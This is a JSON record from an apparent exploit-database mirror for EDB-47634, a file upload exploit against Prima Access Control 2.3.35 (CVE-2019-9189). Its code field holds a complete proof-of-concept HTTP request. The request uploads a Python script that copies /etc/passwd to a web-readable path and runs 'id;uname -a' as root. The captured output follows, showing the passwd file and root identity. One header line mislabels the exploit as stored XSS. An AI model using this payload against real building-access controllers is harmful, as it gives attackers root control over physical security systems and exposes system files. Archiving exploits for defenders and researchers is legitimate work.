{"exploit":{"id":"EDB-47634","name":"Prima Access Control 2.3.35 - Arbitrary File Upload","description":"Prima Access Control 2.3.35 - Arbitrary File Upload","cves":["CVE-2019-9189"],"author":"LiquidWorm","published":"2019-11-12","platform":"hardware","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47634","path":"exploits/hardware/webapps/47634.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47634.txt","vulnerabilities":[{"id":"CVE-2019-9189","state":"PUBLISHED","title":null,"titleSource":null,"description":"Prima Systems FlexAir, Versions 2.4.9api3 and prior. The application allows the upload of arbitrary Python scripts when configuring the main central controller. These scripts can be immediately executed because of root code execution, not as a web server user, allowing an authenticated attacker to gain full system access.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-9189","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-9189"},"updatedAt":"2024-08-04T21:38:46.571Z","retrievedAt":"2026-11-26T22:08:55.795Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47634.png?v=2","url":"https://exploitbin.com/exploits/EDB-47634","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47634/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47634/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Prima Access Control 2.3.35 - Arbitrary File Upload\n# Google Dork: NA\n# Date: 2019-11-11\n# Exploit Author: LiquidWorm\n# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/\n# Software Link: https://www.computrols.com/building-automation-software/\n# Version: 2.3.35\n# Tested on: NA\n# CVE : CVE-2019-9189\n# Advisory: https://applied-risk.com/resources/ar-2019-007\n# Paper: https://applied-risk.com/resources/i-own-your-building-management-system\n# Prima Access Control 2.3.35 Authenticated Stored XSS\n\n# PoC\n\n---\n\nPOST /bin/sysfcgi.fx HTTP/1.1\nHost: 192.168.13.37\nConnection: keep-alive\nContent-Length: 572\nOrigin: https://192.168.13.37\nSession-ID: 5682699\nUser-Agent: Mozi-Mozi/44.0\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept: text/html, */*; q=0.01\nSession-Pc: 2\nX-Requested-With: XMLHttpRequest\nReferer: https://192.168.13.37/app/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nCookie: G_ENABLED_IDPS=google\n\n<requests><request name=\"PythonScriptUpload\"><param name=\"DestinationHwID\" value=\"1\"/><param name=\"FileName\" value=\"test_python.py\"/><param name=\"Content\" value=\"#!/usr/bin/python&#xA;#&#xA;# test script&#xA;#&#xA;&#xA;import sys,os&#xA;&#xA;with open(\"/etc/passwd\") as f:&#xA;    with open(\"/www/pages/app/images/logos/testingus2.txt\", \"w\") as f1:&#xA;        for line in f:&#xA;            f1.write(line)&#xA;&#xA;&#xA;os.system(\"id;uname -a >> /www/pages/app/images/logos/testingus2.txt\")\"/></request></requests>\n\nResult:\n\n$ curl https://192.168.13.37/app/images/logos/testingus2.txt\nroot:x:0:0:root:/home/root:/bin/sh\ndaemon:x:1:1:daemon:/usr/sbin:/bin/false\nbin:x:2:2:bin:/bin:/bin/false\nsys:x:3:3:sys:/dev:/bin/false\nsync:x:4:100:sync:/bin:/bin/sync\nmail:x:8:8:mail:/var/spool/mail:/bin/false\nwww-data:x:33:33:www-data:/var/www:/bin/false\noperator:x:37:37:Operator:/var:/bin/false\nnobody:x:99:99:nobody:/home:/bin/false\npython:x:1000:1000:python:/home/python:/bin/false\nadmin:x:1001:1001:Linux User,,,:/home/admin:/bin/sh\nuid=0(root) gid=0(root) groups=0(root),10(wheel)\nLinux DemoMaster214 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux","sha256":"f005fb3acf98f9703c6a24f8c3384427528063fe87bcc4884181b658c4002f33","bytes":2141,"fetchedAt":"2026-11-26T22:08:55.580Z","encoding":"utf-8 (display only; download retains original bytes)"}